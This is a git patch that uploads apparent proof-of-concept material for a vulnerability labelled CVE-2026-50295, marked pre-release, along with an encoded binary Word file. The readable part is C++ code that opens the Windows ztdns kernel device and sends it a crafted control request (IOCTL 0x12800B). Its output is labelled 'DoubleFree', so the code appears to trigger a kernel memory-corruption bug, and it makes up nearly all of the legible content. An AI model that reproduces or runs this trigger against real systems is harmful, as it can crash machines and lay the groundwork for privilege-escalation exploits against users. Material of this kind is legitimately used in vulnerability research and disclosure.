From 833e44fb83a42f4ab3035345c18ae1bf3cd325f8 Mon Sep 17 00:00:00 2001 From: seasecresponse Date: Sat, 18 Jul 2026 18:55:49 +0000 Subject: [PATCH] Upload files to "CVE-2026-50295_pre-release" --- CVE-2026-50295_pre-release/ZtDnsTest.cpp | 126 +++++++++++++++++++++++ CVE-2026-50295_pre-release/ztdns.docx | Bin 0 -> 11229 bytes 2 files changed, 126 insertions(+) create mode 100644 CVE-2026-50295_pre-release/ZtDnsTest.cpp create mode 100644 CVE-2026-50295_pre-release/ztdns.docx diff --git a/CVE-2026-50295_pre-release/ZtDnsTest.cpp b/CVE-2026-50295_pre-release/ZtDnsTest.cpp new file mode 100644 index 0000000..db32f50 --- /dev/null +++ b/CVE-2026-50295_pre-release/ZtDnsTest.cpp @@ -0,0 +1,126 @@ +// MyFaultTest.cpp : This file contains the 'main' function. Program execution begins and ends there. +// +#include +#include + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + +#include +#pragma comment(lib, "Shlwapi.lib") + +struct _ZT_GLOBAL_PROPERTIES +{ + bool fEnableFilters; + bool fPersistFilters; + bool fAuditMode; + bool fAllowMdns; + bool fAllowPlaintextDns; + bool fBlockLocalIps; + bool fAllowIcsDhcpServer; + DWORD dwUnicastLifetime; + DWORD MaxRecordAge; +}; + + +_ZT_GLOBAL_PROPERTIES GetConfig() { + + _ZT_GLOBAL_PROPERTIES Properties = { 0 }; + + WCHAR szIniPath[MAX_PATH + 1] = { 0 }; + + GetModuleFileName(NULL, szIniPath, MAX_PATH); + PathRemoveFileSpec(szIniPath); + PathAppendW(szIniPath, L"ztdns.ini"); + + + UINT fEnableFilters = GetPrivateProfileIntW(L"Config", L"fEnableFilters", 0, szIniPath); + UINT fPersistFilters = GetPrivateProfileIntW(L"Config", L"fPersistFilters", 0, szIniPath); + UINT fAuditMode = GetPrivateProfileIntW(L"Config", L"fAuditMode", 0, szIniPath); + UINT fAllowMdns = GetPrivateProfileIntW(L"Config", L"fAllowMdns", 0, szIniPath); + UINT fAllowPlaintextDns = GetPrivateProfileIntW(L"Config", L"fAllowPlaintextDns", 0, szIniPath); + UINT fBlockLocalIps = GetPrivateProfileIntW(L"Config", L"fBlockLocalIps", 0, szIniPath); + UINT fAllowIcsDhcpServer = GetPrivateProfileIntW(L"Config", L"fAllowIcsDhcpServer", 0, szIniPath); + UINT dwUnicastLifetime = GetPrivateProfileIntW(L"Config", L"dwUnicastLifetime", 0, szIniPath); + UINT MaxRecordAge = GetPrivateProfileIntW(L"Config", L"MaxRecordAge", 0, szIniPath); + + + Properties.fEnableFilters = fEnableFilters; + Properties.fPersistFilters = fPersistFilters; + Properties.fAuditMode = fAuditMode; + Properties.fAllowMdns = fAllowMdns; + Properties.fAllowPlaintextDns = fAllowPlaintextDns; + Properties.fBlockLocalIps = fBlockLocalIps; + Properties.fAllowIcsDhcpServer = fAllowIcsDhcpServer; + Properties.dwUnicastLifetime = dwUnicastLifetime; + Properties.MaxRecordAge = MaxRecordAge; + + return Properties; +} + +void ZtSetGlobalProperties(IN HANDLE hDevice) { + + DWORD InputBufferLength = 0x10; + PVOID InputBuffer = malloc(InputBufferLength); + + DWORD OutputBufferLength = 0x10; + PVOID OutputBuffer = malloc(OutputBufferLength); + + memset(InputBuffer, 0, InputBufferLength); + memset(OutputBuffer, 0, OutputBufferLength); + + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + + _ZT_GLOBAL_PROPERTIES* pProperties = (_ZT_GLOBAL_PROPERTIES*)InputBuffer; + + _ZT_GLOBAL_PROPERTIES Properties = GetConfig(); + + *pProperties = Properties; + + NTSTATUS Status = NtDeviceIoControlFile( + hDevice, + NULL, + NULL, + NULL, + &IoStatusBlock, + 0x12800B, + InputBuffer, + InputBufferLength, + OutputBuffer, + OutputBufferLength); + printf("DoubleFree Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information); + + for (int i = 0; i < OutputBufferLength; ++i) { + printf("%x", *((char*)OutputBuffer + i)); + } +} + +HANDLE OpenDevice() { + HANDLE hDevice = NULL; + + PCWSTR lpcwName = L"\\Device\\ztdns\\xxx"; + UNICODE_STRING usName = { 0 }; + + RtlInitUnicodeString(&usName, (PWSTR)lpcwName); + + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + InitializeObjectAttributes(&ObjectAttributes, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + + NTSTATUS Status = NtCreateFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE, 0, NULL, 0); + + printf("OpenDevice Status=0x%x\t\tDevice=0x%0x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, hDevice, GetLastError(), IoStatusBlock.Information); + + return hDevice; +} + +int wmain(int argc, WCHAR* argv[]) +{ + HANDLE hDevice = OpenDevice(); + + ZtSetGlobalProperties(hDevice); + + getchar(); +} diff --git a/CVE-2026-50295_pre-release/ztdns.docx b/CVE-2026-50295_pre-release/ztdns.docx new file mode 100644 index 0000000000000000000000000000000000000000..6ed25195e05434a594d1aef7f19517f25262f070 GIT binary patch literal 11229 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 literal 0 HcmV?d00001